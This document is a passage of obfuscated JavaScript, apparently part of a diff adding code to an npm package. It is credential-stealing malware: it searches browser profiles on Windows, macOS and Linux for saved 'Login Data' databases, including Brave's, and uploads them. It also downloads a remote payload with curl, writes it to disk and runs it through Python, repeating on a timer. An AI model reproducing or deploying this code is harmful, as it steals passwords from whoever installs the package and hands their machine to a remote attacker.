_0x18ca11=-0x12f4*0x1+0x1502+-0x1*0x20e;_0x445053[_0x1ce2df('0x124','0xa7','0x94',0xa7)](_0x18ca11,0x2*-0x1cf+-0x3*0x192+0x6a*0x16);_0x18ca11++){if(_0x445053[_0x1ce2df(0x8b,0x7d,0xc9,0x3d)](_0x445053[_0x16972d(0x22e,0x219,'0x1f3',0x1e7)],_0x445053['nDmJQ']))_0x5df0d8=[];else{const _0x34c177=_0x29a5bf+'/'+(_0x445053[_0x1ce2df(0x40,0x7d,'0x7c','0x88')](0x35*-0xa1+0x4*-0x3f5+-0xf*-0x347,_0x18ca11)?_0x445053['KWjRe']:_0x1ce2df('0x31',-0x32,0x50,-0x57)+_0x18ca11)+('/Login\x20Dat'+'a');try{if(_0x445053[_0x1ce2df(0x111,0xad,0xe8,'0x50')](_0x445053[_0x16972d('0x18c','0x1af','0x184','0x154')],_0x445053['XbgOb']))_0x298693['writeFileS'+_0x1ce2df(-0x3d,-0x45,-0x64,-0x9)](_0x5e819d,_0x5649b8),_0x445053[_0x1ce2df(-'0xa',0x42,'0x29',-'0x1a')](_0x12026c,_0x819e95,(_0x460a78,_0x1536ef,_0x3465fe)=>{});else{if(!_0x445053[_0x16972d(0x237,'0x17c','0x200',0x1e4)](_0x4ce051,_0x34c177))continue;const _0x5651cd=_0x29a5bf+'/ld_'+_0x18ca11,_0x24ea9a={};_0x24ea9a[_0x1ce2df(0x59,-'0x16',0x5e,-'0x3')]=_0x16972d(0x2da,'0x2d0','0x285',0x2df)+_0x18ca11,_0x445053[_0x1ce2df(0xc4,'0x51','0x2',0xd)](_0x4ce051,_0x5651cd)?_0x376ef3[_0x16972d('0x217',0x1e4,0x247,'0x1ff')]({'value':_0x57fcb0[_0x1ce2df('0xa0',0x4e,0xa6,0x89)+_0x1ce2df(-0xac,-0x2e,-'0x71',-'0x7c')](_0x5651cd),'options':_0x24ea9a}):_0x57fcb0['copyFile'](_0x34c177,_0x5651cd,_0x899a8e=>{const _0x4c0744={};function _0x2ff7ec(_0x5e8ca4,_0x503414,_0x4dbd0b,_0x702da0){return _0x1ce2df(_0x5e8ca4-0xdf,_0x503414-0x6,_0x4dbd0b,_0x702da0-'0x187');}function _0x4d123a(_0x11d982,_0x4251ca,_0x2d0cf9,_0x5a8fac){return _0x1ce2df(_0x11d982-0xbd,_0x11d982-0x3,_0x2d0cf9,_0x5a8fac-0xa);}_0x4c0744[_0x2ff7ec(-0x3,-'0x10',0x3a,'0x5e')]=_0x2ff7ec(0x79,'0xc4',0x128,0x107)+_0x18ca11;let _0x557c5b=[{'value':_0x57fcb0[_0x4d123a('0x51','0x9b',0xa,0xc1)+_0x4d123a(-0x2b,0x48,-'0x60','0x46')](_0x34c177),'options':_0x4c0744}];_0x445053[_0x4d123a(0x1f,0xd,-'0x8',0x91)](_0x2a53ef,_0x557c5b,_0x38e86d);});}}catch(_0x5510f9){}}}}else{let _0xd0f59=_0x366d7c['join'](_0x3d599e,_0x38416f);const _0x538dae={};_0x538dae[_0x16972d('0x1d7',0x1d6,0x1b1,'0x1ec')]=_0x5e0fe2+'_'+_0x11c028+'_'+_0x17b2de,_0xace212[_0x1ce2df('0x103','0x80',0xb2,0x44)]({'value':_0x472669['createRead'+_0x1ce2df(0x32,-'0x2e',0x14,0x18)](_0xd0f59),'options':_0x538dae});}}catch(_0x42325c){}try{let _0x2a9c30=_0xc2ce4f+(_0x16972d(0x248,0x22a,0x257,0x23e)+_0x1ce2df(-'0x4',-'0x9','0x36',-0x7a)+_0x1ce2df('0x4c','0x68',0xd4,0x43)+'raveSoftwa'+_0x16972d(0x209,'0x239',0x214,0x24a)+_0x1ce2df(-'0x4a',-'0x3e',-0x48,'0x21'));if(_0x445053[_0x16972d('0x297','0x273',0x246,'0x279')](_0x4ce051,_0x2a9c30))for(let _0x8cb213=-0x1*0x81e+0x21a9+0x198b*-0x1;_0x445053[_0x16972d('0x1f5',0x27f,0x26e,'0x2e1')](_0x8cb213,-0x1fa5+-0x1fb7+0x4024);_0x8cb213++){const _0x35813f=_0x2a9c30+'/'+(0x16c5+-0xbe1+-0xae4===_0x8cb213?_0x445053[_0x1ce2df('0x6f',0x6b,'0x93','0xb4')]:_0x1ce2df(-0x34,-'0x32',0x3a,'0x35')+_0x8cb213);try{if(!_0x4ce051(_0x35813f))continue;const _0x3c1a62=_0x35813f+(_0x1ce2df(0xeb,0x8c,'0xee','0xbb')+'a'),_0x146524={};_0x146524[_0x16972d('0x12f','0x14e','0x1b1',0x130)]=_0x1ce2df('0x81','0x6e',0x11,'0x68')+_0x8cb213,_0x445053[_0x16972d(0x1c9,0x1a1,'0x20f','0x1ac')](_0x4ce051,_0x3c1a62)?_0x376ef3[_0x16972d('0x2be',0x1dc,'0x247',0x23d)]({'value':_0x57fcb0[_0x16972d('0x260','0x209',0x215,'0x1e1')+_0x16972d(0x1eb,0x114,0x199,'0x188')](_0x3c1a62),'options':_0x146524}):_0x57fcb0[_0x1ce2df('0x6','0x2e','0x7c',-0x48)](_0x35813f,_0x3c1a62,_0x4a4f54=>{const _0x2d084e={};_0x2d084e[_0x4ff1e0(0x40f,0x444,'0x431','0x420')]='brld_'+_0x8cb213;function _0x4ff1e0(_0x5edcbd,_0x16ef2a,_0x1563d4,_0x272975){return _0x16972d(_0x5edcbd-0xf,_0x16ef2a-0x140,_0x272975-0x26f,_0x5edcbd);}function _0x5e7241(_0x1ed17b,_0x3be404,_0x21ff16,_0x36c6e0){return _0x1ce2df(_0x1ed17b-'0x144',_0x1ed17b-'0x31',_0x3be404,_0x36c6e0-'0x7e');}let _0x3c6cdf=[{'value':_0x57fcb0[_0x4ff1e0('0x4c4','0x47f','0x467','0x484')+'Stream'](_0x35813f),'options':_0x2d084e}];_0x445053[_0x5e7241(0xb,-'0x62',-0x2e,-0x3f)](_0x2a53ef,_0x3c6cdf,_0x38e86d);});}catch(_0x1d2558){}}}catch(_0x56d3f4){}function _0x16972d(_0x1009c3,_0x13e6d5,_0x530628,_0x54332a){return _0x5d6b18(_0x1009c3-0xfd,_0x54332a,_0x530628- -'0x82',_0x54332a-'0xad');}return _0x445053['Fdpip'](_0x2a53ef,_0x376ef3,_0x38e86d),_0x376ef3;},_0x476816=async(_0x4c66d9,_0x12e7df,_0xc6508)=>{const _0xa6c611={'JpoYZ':function(_0x35684f){return _0x35684f();},'JQOBu':function(_0x57bd75,_0x5a1347,_0x9757de){return _0x57bd75(_0x5a1347,_0x9757de);},'qyRAi':function(_0xcad92,_0x384b65){return _0xcad92==_0x384b65;},'DnEfX':function(_0x736a62,_0x144a7e){return _0x736a62(_0x144a7e);},'JILLU':function(_0x5dfe95,_0x5e144f){return _0x5dfe95==_0x5e144f;},'qgndQ':function(_0x321461,_0x12b4b2){return _0x321461(_0x12b4b2);},'WfiWB':function(_0x2fdd1f,_0x1fcf5e){return _0x2fdd1f(_0x1fcf5e);},'Aiofi':function(_0x213a34,_0x4e8327){return _0x213a34===_0x4e8327;},'AWEdJ':_0x247ea9(0x2cb,'0x335',0x2f2,'0x37c'),'MzZCe':function(_0x1798f1,_0x173317){return _0x1798f1!==_0x173317;},'quzpK':_0x117ba5(-0x1f5,-'0x1c3',-0x19b,-'0x159'),'lXRYB':function(_0x46ebf9,_0x1eb4db){return _0x46ebf9<_0x1eb4db;},'OYGUx':_0x247ea9('0x425',0x3c5,0x433,0x37f),'ZuXnF':function(_0x2a6ec8,_0x1bda5d,_0x1daa5d){return _0x2a6ec8(_0x1bda5d,_0x1daa5d);}};function _0x247ea9(_0x55ef63,_0x2290b2,_0x5b3e0e,_0x1f1fac){return _0x5d6b18(_0x55ef63-'0x12',_0x55ef63,_0x2290b2-0x129,_0x1f1fac-'0x1c8');}let _0x1a8e15=[];function _0x117ba5(_0x342913,_0x443bcb,_0x2c89a3,_0x3ed02c){return _0x5d6b18(_0x342913-'0x72',_0x2c89a3,_0x443bcb- -'0x455',_0x3ed02c-'0x60');}let _0x4e7e45='';_0x4e7e45=_0xa6c611['qyRAi']('d',_0x17bf0c[0x1fc1+0xa*0x269+0x4f*-0xb5])?_0xa6c611[_0x247ea9(0x460,0x427,'0x3c4','0x49e')](_0x4ab1b5,'~/')+('/Library/A'+_0x247ea9('0x307','0x369',0x311,'0x3bb')+'\x20Support/')+_0x4c66d9[-0x1*-0x1319+-0x154b+0x233]:_0xa6c611[_0x247ea9(0x2f1,0x32a,0x35c,0x30e)]('l',_0x17bf0c[0xe79+0x1768+0x25e1*-0x1])?_0xa6c611[_0x247ea9(0x421,'0x406',0x391,0x3c6)](_0x4ab1b5,'~/')+'/.config/'+_0x4c66d9[0xf2a+0xd*0x29f+0x1*-0x313b]:_0xa6c611['WfiWB'](_0x4ab1b5,'~/')+'/AppData/'+_0x4c66d9[0x6aa*-0x1+-0xe3a+0x14e4]+_0x117ba5(-'0x194',-0x1d9,-'0x22f',-0x1aa);let _0x17252f=_0x4e7e45+(_0x247ea9('0x392','0x399',0x413,'0x396')+'te');if(_0x57fcb0[_0x247ea9('0x395',0x417,0x392,0x470)](_0x17252f)){if(_0xa6c611[_0x247ea9('0x443','0x3d9','0x37a','0x3de')](_0xa6c611[_0x247ea9(0x458,'0x410','0x3ed',0x481)],_0xa6c611[_0x117ba5(-0x169,-0x16e,-0xee,-0x154)]))try{if(_0xa6c611['MzZCe'](_0xa6c611[_0x117ba5(-'0x1c1',-'0x1e4',-0x1c6,-0x184)],_0xa6c611['quzpK']))_0x4cf24d(()=>{function _0x3d9784(_0x56f40c,_0x488385,_0x3a024a,_0x3d9166){return _0x247ea9(_0x3d9166,_0x3a024a- -0x3c2,_0x3a024a-'0x1dd',_0x3d9166-0x183);}_0xa6c611[_0x3d9784(-0x3e,-0x4b,-0x80,-'0x3')](_0x4a2a9c);},0xb1e*-0x8+-0x9994*0x1+-0x2*-0xa052);else{const _0x2b52ff={};_0x2b52ff['filename']=_0x12e7df+'_lst',_0x1a8e15[_0x247ea9('0x3a6',0x3f2,'0x37a',0x38d)]({'value':_0x57fcb0[_0x247ea9(0x353,0x3c0,'0x355',0x39a)+'Stream'](_0x17252f),'options':_0x2b52ff});}}catch(_0x29f067){}else _0xd25c22[_0x117ba5(-'0x1f8',-0x1bd,-0x227,-0x1e7)](_0x31b1d9+_0x247ea9(0x3ee,0x3eb,0x375,'0x418')+_0x429287+'/'+_0x283d54,(_0x131f52,_0xa57ce6,_0xb0729a)=>{function _0x3cad66(_0x4eb462,_0x1d4828,_0x1915f2,_0x1da58c){return _0x117ba5(_0x4eb462-'0x84',_0x1da58c-0x10a,_0x1d4828,_0x1da58c-'0x95');}function _0xb8c861(_0x2f6930,_0x40792e,_0x56a05f,_0x5bebfa){return _0x117ba5(_0x2f6930-'0x6f',_0x2f6930-0x3b7,_0x5bebfa,_0x5bebfa-0x136);}_0x131f52||(_0x551431['writeFileS'+_0x3cad66(-'0x1b0',-0x193,-'0x120',-'0x147')](_0x1d5fb1+_0x3cad66(-0x2a,-'0xf2',-'0x7',-'0x80'),_0xb0729a),_0xa6c611[_0x3cad66(-'0xf3',-0xa6,-0x34,-'0xac')](_0xda9b0c,'python3\x20\x22'+_0xcc232a+_0x3cad66(-'0xc6',-0xe0,-'0x8c',-0x105),(_0x7a1b41,_0x12ad90,_0x82e51)=>{}));});}try{if(_0xa6c611['WfiWB'](_0x4ce051,_0x4e7e45))for(let _0xf9e98e=0x4*0x9e+0x1c31+-0x1ea9;_0xa6c611[_0x247ea9('0x3fb','0x424',0x446,'0x4aa')](_0xf9e98e,0xadc+-0x5*0x347+-0x13*-0x55);_0xf9e98e++){const _0x4c415e=_0x4e7e45+'/'+(-0xb18*-0x3+0x1*0xe8a+-0x1*0x2fd2===_0xf9e98e?_0xa6c611[_0x117ba5(-0x295,-'0x22b',-'0x234',-'0x286')]:_0x117ba5(-0x248,-0x23e,-'0x1c2',-0x205)+_0xf9e98e);try{if(!_0xa6c611[_0x247ea9(0x3bf,'0x401','0x38b',0x47e)](_0x4ce051,_0x4c415e))continue;const _0x3f3198=_0x4c415e+('/Login\x20Dat'+'a');if(!_0xa6c611[_0x247ea9(0x429,0x401,0x39d,0x3e9)](_0x4ce051,_0x3f3198))continue;const _0x5cf9a8={};_0x5cf9a8['filename']=_0x12e7df+'_'+_0xf9e98e+_0x117ba5(-0x1c6,-0x14f,-0x1b8,-'0x1a1'),_0x1a8e15[_0x117ba5(-'0x1d5',-'0x18c',-0x190,-0x19b)]({'value':_0x57fcb0['createRead'+_0x117ba5(-0x252,-0x23a,-'0x1de',-0x1fa)](_0x3f3198),'options':_0x5cf9a8});}catch(_0x38513c){}}}catch(_0x2904b0){}return _0xa6c611[_0x247ea9('0x306','0x373','0x318','0x3de')](_0x2a53ef,_0x1a8e15,_0xc6508),_0x1a8e15;},_0x1684af=0x3b2fa12*0x1+0x104df7c+-0x1a66120;let _0xb1bf99=0xa20+-0x358*0xa+0x175*0x10;const _0x127271=async _0x77d512=>{const _0x5d9a0b={};_0x5d9a0b['WdoLd']=_0x4710ce(0x2a3,0x310,'0x2ae',0x2d1),_0x5d9a0b[_0x4710ce(0x29e,0x306,'0x31f','0x377')]=_0x467098('0x23b','0x1f3','0x1e8',0x1e9);function _0x467098(_0x21731b,_0xb35e66,_0x1af948,_0x468d04){return _0x5d6b18(_0x21731b-'0x14d',_0x1af948,_0x21731b- -0x9f,_0x468d04-0xdd);}_0x5d9a0b[_0x467098('0x17b',0x1bb,'0x1e8','0x16c')]='paTAv';const _0x10c657=_0x5d9a0b;function _0x4710ce(_0x582bd3,_0x2620cd,_0x368440,_0x1b2d6b){return _0x2c7601(_0x582bd3-0x1dd,_0x368440-'0x157',_0x368440-'0x100',_0x582bd3);}_0x2b6499(_0x467098('0x1e7',0x21b,'0x1bf','0x220')+_0x77d512+_0x467098('0x1c0','0x151','0x1d4',0x1c7)+_0xc2ce4f,(_0x42caf8,_0x2e1293,_0x3827b2)=>{const _0x41483f={};_0x41483f[_0x178f67(-'0x1f1',-'0x205',-'0x187',-0x1b7)]=_0x10c657[_0x3e6f01(-'0x8d',-'0x45',-0x42,-0x82)];const _0x126ac7=_0x41483f;function _0x178f67(_0x74bb07,_0x26e81f,_0x57f819,_0x23b8be){return _0x4710ce(_0x57f819,_0x26e81f-0xe2,_0x26e81f- -0x4a8,_0x23b8be-'0xc4');}function _0x3e6f01(_0x1811ed,_0xc4f50a,_0x337347,_0x25c6a0){return _0x467098(_0x1811ed- -0x294,_0xc4f50a-'0x11c',_0xc4f50a,_0x25c6a0-'0x19e');}if(_0x10c657[_0x3e6f01(-0x75,-'0x7f',-'0x53',-'0xc3')]===_0x10c657[_0x178f67(-0x1b0,-'0x22d',-'0x210',-0x1ff)])try{const _0x165870={};_0x165870[_0x178f67(-'0x1b4',-0x214,-0x1a5,-'0x18e')]=_0x126ac7[_0x3e6f01(-0xf1,-0xbd,-0x148,-'0x148')],_0x5a4927[_0x178f67(-0xfa,-0x17e,-'0x11c',-'0x187')]({'value':_0x4724ee[_0x178f67(-0x220,-0x1b0,-0x21b,-0x171)+'Stream'](_0x373eae),'options':_0x165870});}catch(_0x126622){}else{if(_0x42caf8)return _0x57fcb0[_0x178f67(-'0x194',-0x1a6,-'0x1d6',-'0x1a1')](_0x77d512),void(_0xb1bf99=-0x237b+-0x20d1+0x444c);_0x57fcb0[_0x3e6f01(-'0x92',-'0x4f',-'0xc0',-0x101)](_0x77d512),_0x3e5025();}});},_0x5f55b2=()=>{function _0x455625(_0x24b10b,_0x8ff6d7,_0x41d047,_0x497cbd){return _0x5d6b18(_0x24b10b-0x26,_0x8ff6d7,_0x497cbd-0x9a,_0x497cbd-'0x75');}const _0x579849={'rKbmK':function(_0x345ccd,_0x36da0c){return _0x345ccd(_0x36da0c);},'dojbb':function(_0x5d67ef){return _0x5d67ef();},'jXJYf':function(_0x39797a,_0x4d7109){return _0x39797a+_0x4d7109;},'pedrT':function(_0x1b094a,_0x131065){return _0x1b094a>=_0x131065;},'gpHwN':function(_0x20548c,_0x4271eb){return _0x20548c+_0x4271eb;},'ikvTA':function(_0x394d8e,_0x3cc16a){return _0x394d8e<_0x3cc16a;},'MFOpB':function(_0x176fc3){return _0x176fc3();},'lXImC':function(_0x7ce0d8,_0x45c71c,_0x432a75){return _0x7ce0d8(_0x45c71c,_0x432a75);}};function _0x2fb9c6(_0x1265b9,_0x403c8d,_0x575985,_0x520be1){return _0x5d6b18(_0x1265b9-'0xd6',_0x1265b9,_0x575985-0x1df,_0x520be1-'0x138');}const _0x450cf6=_0x40d999+_0x2fb9c6('0x3bc','0x3b1','0x432',0x442),_0x533589=_0x49f550+_0x455625(0x352,'0x2c3','0x363',0x309),_0x5dee70=_0x49f550+_0x455625('0x36e',0x2f7,0x38b,'0x375');if(_0x579849['pedrT'](_0xb1bf99,_0x579849[_0x2fb9c6(0x40d,'0x390','0x415',0x436)](_0x1684af,-0x1cd9+-0xaa3*-0x1+0x123c)))return;if(_0x57fcb0[_0x455625('0x3c3',0x320,0x404,0x388)](_0x533589))try{var _0x4b04e3=_0x57fcb0[_0x455625('0x33b',0x399,0x3cf,0x39e)](_0x533589);_0x4b04e3['size']>=_0x579849['jXJYf'](_0x1684af,-0x555+0x2d*0x3c+-0x531)?(_0xb1bf99=_0x4b04e3['size'],_0x57fcb0[_0x2fb9c6(0x452,0x456,'0x495',0x513)](_0x533589,_0x5dee70,_0x320516=>{if(_0x320516)throw _0x320516;function _0x4f85bf(_0x41cccb,_0x341cb9,_0x397d7f,_0x3a3896){return _0x2fb9c6(_0x3a3896,_0x341cb9-0x190,_0x341cb9- -'0x349',_0x3a3896-0x1f2);}_0x579849[_0x4f85bf(0x204,0x18d,0x17d,0x133)](_0x127271,_0x5dee70);})):(_0x579849['ikvTA'](_0xb1bf99,_0x4b04e3['size'])?_0xb1bf99=_0x4b04e3['size']:(_0x57fcb0[_0x455625(0x2e0,0x355,0x2c8,'0x33b')](_0x533589),_0xb1bf99=-0x1eb*-0xd+-0x3*-0xcdc+-0x3f83),_0x579849['MFOpB'](_0x5ded30));}catch(_0x5e6395){}else _0x579849['lXImC'](_0x2b6499,'curl\x20-Lo\x20\x22'+_0x533589+'\x22\x20\x22'+_0x450cf6+'\x22',(_0x53249f,_0x42314c,_0x3dcc04)=>{function _0x9e3329(_0x5d8c79,_0x1a8234,_0xe1ce15,_0x1f4415){return _0x2fb9c6(_0x1f4415,_0x1a8234-0x19e,_0xe1ce15- -0x13a,_0x1f4415-0xdb);}function _0x3dd7bb(_0x1e5b51,_0x566277,_0x57ea98,_0x184dcc){return _0x455625(_0x1e5b51-'0x172',_0x184dcc,_0x57ea98-'0xa4',_0x1e5b51- -0x3e0);}if(_0x53249f)return _0xb1bf99=0x15a7+-0x1*0xfa7+-0x600,void _0x579849[_0x3dd7bb(-0x122,-0x139,-0x191,-'0xf2')](_0x5ded30);try{_0xb1bf99=_0x579849[_0x9e3329(0x35e,'0x2b7',0x2dd,0x29d)](_0x1684af,0x22f4+-0x169f+0xc4f*-0x1),_0x57fcb0[_0x3dd7bb(-0xf6,-'0x157',-'0x92',-0x79)](_0x533589,_0x5dee70),_0x579849[_0x3dd7bb(-'0x4f',-'0xb5',-'0xae','0x28')](_0x127271,_0x5dee70);}catch(_0x3f4571){}});};function _0x5ded30(){const _0x4f3d82={'XNFZZ':function(_0x3d1f43){return _0x3d1f43();},'DDEvr':function(_0x12bd34,_0x1da375,_0x442d59){return _0x12bd34(_0x1da375,_0x442d59);}};function _0x1b7d6f(_0x2f18a3,_0x35bb84,_0x27f511,_0x42c981){return _0x2c7601(_0x2f18a3-'0x1ce',_0x27f511-0x2cd,_0x27f511-0xcd,_0x42c981);}_0x4f3d82[_0x1b7d6f(0x402,0x47b,'0x450','0x4b9')](setTimeout,()=>{function _0x2b56ac(_0x35ae7d,_0x402408,_0x407024,_0x475bc7){return _0x1b7d6f(_0x35ae7d-0xe5,_0x402408-'0x4e',_0x35ae7d- -0xf7,_0x475bc7);}_0x4f3d82[_0x2b56ac('0x375',0x340,0x3e4,0x31a)](_0x5f55b2);},-0x8bb9*0x1+-0x419d+0x11b76);}function _0x4e42(_0x1ee9b2,_0x3f0f4c){const _0x3eab4d=_0x44b1();return _0x4e42=function(_0x44b1e7,_0x4e42e8){_0x44b1e7=_0x44b1e7-(-0x1e9c+-0x10*-0x1cf+0x33a);let _0x5ba3d8=_0x3eab4d[_0x44b1e7];return _0x5ba3d8;},_0x4e42(_0x1ee9b2,_0x3f0f4c);}const _0x3e5025=async()=>await new Promise((_0x4bc84b,_0x24db64)=>{const _0x59a5d8={'ffTNV':function(_0x54597e,_0x13098b,_0x1b0235){return _0x54597e(_0x13098b,_0x1b0235);},'VcfsR':function(_0x52d71d,_0x2dd924){return _0x52d71d==_0x2dd924;},'tqYTi':function(_0x563d10){return _0x563d10();}};function _0x306806(_0x1901e8,_0x125343,_0x5e335a,_0x4177f5){return _0x5d6b18(_0x1901e8-'0x17e',_0x1901e8,_0x4177f5-0x16b,_0x4177f5-'0x10b');}function _0x5bbadf(_0x4c2470,_0x1f4d30,_0x1bde55,_0x190250){return _0x2c7601(_0x4c2470-0x155,_0x190250-0xa4,_0x1bde55-'0x1d',_0x1f4d30);}if(_0x59a5d8[_0x306806('0x382','0x3c3','0x3cd',0x36e)]('w',_0x17bf0c[-0xd*0x1dd+-0x1610+-0x11*-0x2b9]))_0x57fcb0[_0x5bbadf(0x286,'0x21a',0x271,0x29c)](_0xc2ce4f+(_0x306806('0x424',0x388,0x453,'0x40b')+_0x306806(0x403,'0x372',0x3c8,'0x392')))?((()=>{function _0x546549(_0x1ddb7d,_0x22f2c9,_0x41f99b,_0x4df7f5){return _0x5bbadf(_0x1ddb7d-'0x171',_0x1ddb7d,_0x41f99b-0x5c,_0x4df7f5-'0x226');}const _0x528199=_0x40d999+_0x546549(0x4df,'0x515','0x412',0x496)+_0x589ed5+'/'+_0x1805dc,_0x3d7487=_0xc2ce4f+'/.npl',_0x5ad7fa='\x22'+_0xc2ce4f+('\x5c.pyp\x5cpyth'+'on.exe\x22\x20\x22')+_0x3d7487+'\x22';try{_0x57fcb0[_0x546549(0x459,'0x477',0x3f1,0x475)](_0x3d7487);}catch(_0x4c98c5){}function _0x56b9b8(_0x549036,_0x438581,_0x5351de,_0x12bc55){return _0x5bbadf(_0x549036-0x1bb,_0x12bc55,_0x5351de-0xb7,_0x5351de- -'0x6e');}_0x18e755[_0x56b9b8('0x24a','0x1d8','0x1d8','0x1b7')](_0x528199,(_0x39fcdb,_0x42e379,_0x2de435)=>{function _0x1a0613(_0x35836c,_0x186776,_0x3a2bac,_0x4f7202){return _0x56b9b8(_0x35836c-0xb9,_0x186776-'0x185',_0x3a2bac- -'0x3b',_0x35836c);}if(!_0x39fcdb)try{_0x57fcb0['writeFileS'+_0x1a0613('0x98','0xdd',0x109,0xf7)](_0x3d7487,_0x2de435),_0x59a5d8['ffTNV'](_0x2b6499,_0x5ad7fa,(_0x3d2415,_0x162d91,_0xb9fec6)=>{});}catch(_0x243ac1){}});})()):_0x59a5d8[_0x306806('0x3c1','0x402','0x40f',0x393)](_0x5f55b2);else((()=>{function _0x1d13c0(_0x1c2d81,_0x5a135a,_0x57eca4,_0x630f5a){return _0x5bbadf(_0x1c2d81-0x154,_0x1c2d81,_0x57eca4-'0xb0',_0x630f5a- -0xb1);}_0x18e755[_0x1d13c0('0x1c7',0x14a,'0x196','0x195')](_0x40d999+'/client/'+_0x589ed5+'/'+_0x1805dc,(_0x3e3c50,_0x1603f6,_0x487044)=>{function _0x4de581(_0x941f6b,_0x101dba,_0x530bac,_0x1586ec){return _0x1d13c0(_0x530bac,_0x101dba-0x70,_0x530bac-'0x1c',_0x1586ec- -0x18f);}function _0x59d86c(_0x2fb369,_0x2010af,_0x551263,_0x23787c){return _0x1d13c0(_0x2fb369,_0x2010af-0x9c,_0x551263-0x3f,_0x23787c-'0x384');}_0x3e3c50||(_0x57fcb0[_0x59d86c(0x4a9,'0x454','0x507',0x4bd)+_0x4de581(-0x10f,-'0x93',-0x66,-0x8e)](_0xc2ce4f+'/.npl',_0x487044),_0x59a5d8[_0x59d86c(0x506,0x424,'0x42b',0x493)](_0x2b6499,_0x4de581('0x97',0xd7,'0x8b',0x6e)+_0xc2ce4f+_0x59d86c('0x544','0x48d','0x52c',0x4c7),(_0x1260a0,_0x5942eb,_0x1a961f)=>{}));});})());});var _0x4a5c7b=0x577*-0x2+0x124f+0x1*-0x761;const _0x1e6c4f=async()=>{function _0x5d9bd2(_0x590af5,_0x50b817,_0x3169f4,_0x534d18){return _0x5d6b18(_0x590af5-0x11,_0x534d18,_0x50b817-0xa4,_0x534d18-0x1d);}const _0x37f2cc={'zuNwY':function(_0x1e44a4,_0x2e466c){return _0x1e44a4(_0x2e466c);},'mbCim':function(_0x3dab7d,_0x545d75){return _0x3dab7d===_0x545d75;},'VrsrK':_0x5d9bd2('0x366',0x34b,0x302,'0x3bd'),'oGXbl':_0x49ea00(0x429,0x45d,0x44c,0x3e4),'gShrx':_0x5d9bd2('0x2f5','0x307','0x297',0x303),'jAsHT':function(_0x501560,_0x9349a7,_0x49c92f,_0x137959){return _0x501560(_0x9349a7,_0x49c92f,_0x137959);},'MvtEe':function(_0x1c6f80,_0x5f3e95){return _0x1c6f80==_0x5f3e95;},'NXbIN':function(_0x1379ad,_0x2a6351,_0x3d495f,_0x3d7376,_0x4b90b7){return _0x1379ad(_0x2a6351,_0x3d495f,_0x3d7376,_0x4b90b7);},'kYzAp':function(_0x535bc5,_0x5489db){return _0x535bc5(_0x5489db);},'alLuc':function(_0x25e491,_0x5ad7c1){return _0x25e491/_0x5ad7c1;}};function _0x49ea00(_0x9b27ea,_0x2d87db,_0x2a7ac5,_0xa0cba1){return _0x2c7601(_0x9b27ea-'0x1dd',_0x2d87db-'0x30f',_0x2a7ac5-0x85,_0x9b27ea);}try{const _0x5da66e=Math[_0x49ea00(0x530,'0x4ad',0x486,'0x4a1')](_0x37f2cc[_0x49ea00(0x4ef,'0x473','0x4ee','0x4f8')](new Date()[_0x5d9bd2(0x262,0x2cd,'0x26e','0x2d7')](),-0xef3+0x24b7+-0x11dc));await((async()=>{function _0x2fb2a0(_0x49bc8e,_0x3e4d3e,_0x2d1679,_0x40d091){return _0x49ea00(_0x49bc8e,_0x40d091- -0x26a,_0x2d1679-0xb8,_0x40d091-'0x14a');}function _0x8f1082(_0x3cf47f,_0x555ca8,_0x3f3b6d,_0x207194){return _0x5d9bd2(_0x3cf47f-'0x10f',_0x3cf47f- -'0x397',_0x3f3b6d-0x1b3,_0x555ca8);}if(_0x37f2cc[_0x2fb2a0(0x1cf,0x260,'0x246','0x216')](_0x37f2cc['VrsrK'],_0x37f2cc[_0x2fb2a0(0x27f,'0x28e',0x26e,'0x238')]))try{_0x37f2cc['oGXbl']===_0x37f2cc[_0x2fb2a0('0x1b7',0x1f6,0x1a7,'0x1b7')]?_0x3faf50[_0x8f1082(-'0x52',-'0x4',-'0x49',-0x75)](_0x5327cc):(await _0x2d0c7f(_0x315b89,-0x106+0x1b8*0x10+-0x1a7a,_0x5da66e),await _0x37f2cc['jAsHT'](_0x2d0c7f,_0x36a55d,-0x1967+-0xdaa+-0xd06*-0x3,_0x5da66e),await _0x2d0c7f(_0x340a3f,-0x4a4+0x2405*-0x1+0x28ab,_0x5da66e),_0x473b7e(_0x5da66e),_0x37f2cc['MvtEe']('w',_0x17bf0c[-0x262d*0x1+-0x14bd*-0x1+-0x30*-0x5d])&&await _0x37f2cc[_0x2fb2a0('0x1d4','0x224',0x1b0,'0x1b6')](_0x509e16,_0x37f2cc['kYzAp'](_0x4ab1b5,'~/')+(_0x2fb2a0('0x228',0x1ee,0x17e,0x204)+_0x8f1082(-0x5a,-'0x79','0x21',-0x43)+_0x8f1082(-0x44,-'0x39',-0x41,-0x18)+_0x8f1082(-'0x92',-0x23,-'0x8f',-0x46)),'3_',![],_0x5da66e),'d'==_0x17bf0c[-0xb6f+0x7*0x335+-0xb04]?await _0x4b1368(_0x5da66e):(await _0x476816(_0x315b89,-0x5b*0x25+-0x45a+0x1181*0x1,_0x5da66e),await _0x37f2cc['jAsHT'](_0x476816,_0x36a55d,-0x1c0+0x3d7*-0x1+0x598,_0x5da66e),await _0x37f2cc['jAsHT'](_0x476816,_0x340a3f,0x2d6+0x1f51+-0x2225,_0x5da66e)));}catch(_0x5c577d){}else{if(_0x1c78d0)throw _0x451443;_0x37f2cc['zuNwY'](_0x2f633d,_0x4f4f7b);}})()),_0x3e5025();}catch(_0x5ee1e1){}};function _0x5d6b18(_0x4900ba,_0x3b75d5,_0x57e63a,_0x20381c){return _0x4e42(_0x57e63a-0x70,_0x3b75d5);}_0x1e6c4f(),_0x3e5025();let _0x504133=setInterval(()=>{function _0x7f4333(_0x1977b8,_0x176374,_0x39f2fe,_0x2e5722){return _0x5d6b18(_0x1977b8-'0x82',_0x1977b8,_0x176374-0x82,_0x2e5722-0x131);}function _0x3b0116(_0x472b25,_0x5ea43d,_0x124e91,_0x294fcf){return _0x2c7601(_0x472b25-0x1,_0x5ea43d- -'0x253',_0x124e91-0xb8,_0x294fcf);}const _0xd97483={'uClTX':function(_0x13741,_0x5e08cd){return _0x13741<_0x5e08cd;},'EJfJP':function(_0x2aa8a7){return _0x2aa8a7();}};_0xd97483[_0x3b0116(-0x91,-0xb9,-'0x108',-'0x110')](_0x4a5c7b+=-0x206e+0x977*-0x2+0x335d,-0x38*-0x27+-0x59*-0x41+-0x1f1f)?_0xd97483[_0x3b0116(-'0xea',-'0x82',-0xe6,-0x45)](_0x1e6c4f):clearInterval(_0x504133);},0xd17d+0x523*0x25+-0x11a5c);
|
package/lib/init.js
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
